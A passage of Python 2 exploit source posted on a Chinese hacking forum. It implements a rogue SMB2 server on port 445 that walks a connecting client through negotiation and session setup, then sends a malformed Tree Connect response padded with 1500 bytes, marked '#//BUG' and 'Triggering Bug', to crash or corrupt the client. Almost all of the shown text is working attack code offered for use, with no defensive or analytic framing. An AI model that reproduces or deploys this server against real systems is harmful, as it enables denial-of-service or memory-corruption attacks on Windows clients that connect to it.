  274.                 ("SessionFlag",               "\x01\x00"),
  275.                 ("SecBlobOffSet",             "\x48\x00"),
  276.                 ("SecBlobLen",                "\x1d\x00"),
  277.                 ("SecBlobTag0",               "\xa1"),
  278.                 ("SecBlobTag0Len",            "\x1b"),
  279.                 ("NegTokenResp",              "\x30"),
  280.                 ("NegTokenRespLen",           "\x19"),
  281.                 ("NegTokenRespTag0",          "\xa0"),
  282.                 ("NegTokenRespTag0Len",       "\x03"),
  283.                 ("NegStateResp",              "\x0a"),
  284.                 ("NegTokenRespLen1",           "\x01"),
  285.                 ("NegTokenRespStr",           "\x00"),
  286.                 ("SecBlobTag3",               "\xa3"),
  287.                 ("SecBlobTag3Len",            "\x12"),
  288.                 ("SecBlobOctetHeader",        "\x04"),
  289.                 ("SecBlobOctetLen",           "\x10"),
  290.                 ("MechlistMICVersion",        ""),# No verification on the client side...
  291.                 ("MechlistCheckSum",          ""),
  292.                 ("MechlistSeqNumber",         ""),
  293.                 ("Data",                      ""),
  294.     ])
  295.         def calculate(self):

  296.                 ###### SecBlobLen Calc:
  297.                 CalculateSecBlob = str(self.fields["SecBlobTag0"])+str(self.fields["SecBlobTag0Len"])+str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])

  298.                 CalculateASN = str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])

  299.                 MechLen = str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])

  300.                 #Packet Struct len
  301.                 self.fields["SecBlobLen"] = struct.pack("<h",len(CalculateSecBlob))
  302.                 self.fields["SecBlobTag0Len"] = struct.pack("<B",len(CalculateASN))
  303.                 self.fields["NegTokenRespLen"] = struct.pack("<B", len(CalculateASN)-2)
  304.                 self.fields["SecBlobTag3Len"] = struct.pack("<B",len(MechLen))
  305.                 self.fields["SecBlobOctetLen"] = struct.pack("<B",len(MechLen)-2)

  306. class SMB2TreeData(Packet):
  307.     fields = OrderedDict([
  308.                 ("Len",                   "\x10\x00"),
  309.                 ("ShareType",             "\x02\x00"),
  310.                 ("ShareFlags",            "\x30\x00\x00\x00"),
  311.                 ("ShareCapabilities",     "\x00\x00\x00\x00"),
  312.                 ("AccessMask",            "\xff\x01\x1f\x01"),   
  313.                 ("Data",                  ""),         
  314.     ])

  315. ##########################################################################
  316. class SMB2(SocketServer.BaseRequestHandler):
  317.      
  318.     def handle(self):
  319.         try:
  320.               self.request.settimeout(1)
  321.               print "From:", self.client_address
  322.               data = self.request.recv(1024)

  323.              ##Negotiate proto answer.
  324.               if data[8:10] == "\x72\x00" and data[4:5] == "\xff":
  325.                 head = SMBv2Header(CreditCharge="\x00\x00",Credits="\x01\x00",PID="\x00\x00\x00\x00")
  326.                 t = SMB2NegoAns()
  327.                 t.calculate()
  328.                 packet1 = str(head)+str(t)
  329.                 buffer1 = longueur(packet1)+packet1  
  330.                 print "[*]Negotiating SMBv2."
  331.                 self.request.send(buffer1)
  332.                 data = self.request.recv(1024)

  333.               if data[16:18] == "\x00\x00":
  334.                 CreditsRequested = data[18:20]
  335.                 if CreditsRequested == "\x00\x00":
  336.                    CreditsRequested =  "\x01\x00"
  337.                 CreditCharged = data[10:12]
  338.                 head = SMBv2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
  339.                 t = SMB2NegoAns(Dialect="\x02\x02")
  340.                 t.calculate()
  341.                 packet1 = str(head)+str(t)
  342.                 buffer1 = longueur(packet1)+packet1  
  343.                 print "[*]Negotiate Protocol SMBv2 packet sent."
  344.                 self.request.send(buffer1)
  345.                 data = self.request.recv(1024)

  346.               #Session More Work to Do
  347.               if data[16:18] == "\x01\x00":
  348.                 head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID="\x4d\x00\x00\x00\x00\x04\x00\x00",NTStatus="\x16\x00\x00\xc0")
  349.                 t = SMB2Session1Data()
  350.                 t.calculate()
  351.                 packet1 = str(head)+str(t)
  352.                 buffer1 = longueur(packet1)+packet1
  353.                 print "[*]Session challenge SMBv2 packet sent."
  354.                 self.request.send(buffer1)
  355.                 data = self.request.recv(1024)

  356.               #Session Positive
  357.               if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02":
  358.                 head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
  359.                 t = SMB2SessionAcceptData()
  360.                 t.calculate()
  361.                 packet1 = str(head)+str(t)
  362.                 buffer1 = longueur(packet1)+packet1
  363.                 self.request.send(buffer1)
  364.                 data = self.request.recv(1024)

  365.               ## Tree Connect
  366.               if data[16:18] == "\x03\x00":
  367.                 head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
  368.                 t = SMB2TreeData(Data="C"*1500)#//BUG
  369.                 packet1 = str(head)+str(t)
  370.                 buffer1 = longueur(packet1)+packet1
  371.                 print "[*]Triggering Bug; Tree Connect SMBv2 packet sent."
  372.                 self.request.send(buffer1)
  373.                 data = self.request.recv(1024)

  374.         except Exception:
  375.            print "Disconnected from", self.client_address
  376.            pass

  377. SocketServer.TCPServer.allow_reuse_address = 1
  378. launch = SocketServer.TCPServer(('', 445),SMB2)
  379. launch.serve_forever()
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表